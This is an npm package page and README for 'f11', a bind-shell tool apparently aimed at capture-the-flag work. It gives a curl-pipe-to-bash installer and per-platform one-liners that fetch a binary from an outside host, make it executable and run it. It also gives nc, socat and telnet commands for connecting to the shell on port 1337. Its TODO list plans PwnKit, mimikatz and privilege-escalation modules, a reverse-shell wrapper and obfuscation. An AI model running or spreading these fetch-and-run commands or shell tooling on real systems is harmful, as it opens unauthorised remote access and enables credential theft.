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f11

v2.5.0

Published

F11 - The SnipeSocket

Downloads

53

Vulnerabilities

Powered byPowered by Snyk
  • 0High
  • 0Medium
  • 0Low

Links

Git

Maintainers

f11snipe-npmf11snipe-npm

Keywords

nodetcpsnipesocket

Readme

F11 - Fully Featured Bind Shell

The SnipeSocket

EST. Apr 23, 2022

One curl to rule them all

# Fuk it just do everything for me
curl -sL https://f11.sh | bash

Just connect to bind host:port

# Connect to F11 bind server (IP:1337)
socat stdio tcp:localhost:1337
# Also works with netcat & telnet :)
nc localhost 1337
# Or for the old guys
telnet localhost 1337

PoC

poc

Stay tuned! More to come on f11.sh

Install via NPM

npm i -g f11 && f11

Standalone hosted (compressed) binaries

Dedicated platform one-liner (linux)

rm /tmp/f11-linux; curl -sL https://f11snipe.sh/f11-linux.xz -o /tmp/f11-linux.xz && xz -d /tmp/f11-linux.xz && chmod +x /tmp/f11-linux && /tmp/f11-linux

Dedicated platform one-liner (osx)

rm /tmp/f11-macos; curl -sL https://f11snipe.sh/f11-macos.xz -o /tmp/f11-macos.xz && xz -d /tmp/f11-macos.xz && chmod +x /tmp/f11-macos && /tmp/f11-macos

Dedicated platform one-liner (windows)

rm /tmp/f11-win.exe; curl -sL https://f11snipe.sh/f11-win.exe.xz -o /tmp/f11-win.exe.xz && xz -d /tmp/f11-win.exe.xz && chmod +x /tmp/f11-win.exe && /tmp/f11-win.exe

Build from source

# Run all build steps
npm install
npm run ci

Individual build steps

# Install npm packages
npm install

# Build TypeScript
npm build

# Compile
npm run compile

# Compress
npm run compress

TODO

Cleanup

  • better intro/helper messaging

Core features

  • command history
  • module groups, tags, etc?
  • plugins? (additional features, how would this differ from modules? "extending")
  • built-in encoder
    • relay/lookup via online services? (cyber-chef, cracks, common encodings, etc)
  • support both TCP + TLS (with unique credentials)
  • basic http(s) server to serve as web host/relay (on isolated VPN, i.e. THM)
    • web gui??
  • add simple bash "stabilizer" wrapper to spawn nc/socat reverse connection
  • support both "bind" and "rev" client/server open port scenarios
  • better handling of navigation and special characters, signals, etc

Obfuscation

  • LATER

Modules to support

  • pwnkit
    • https://github.com/ly4k/PwnKit
  • mimikatz (windows)
    • https://github.com/ParrotSec/mimikatz
  • SUID/SUDO/CAP/
    • https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid

Contributions

  • Please feel free to contribute!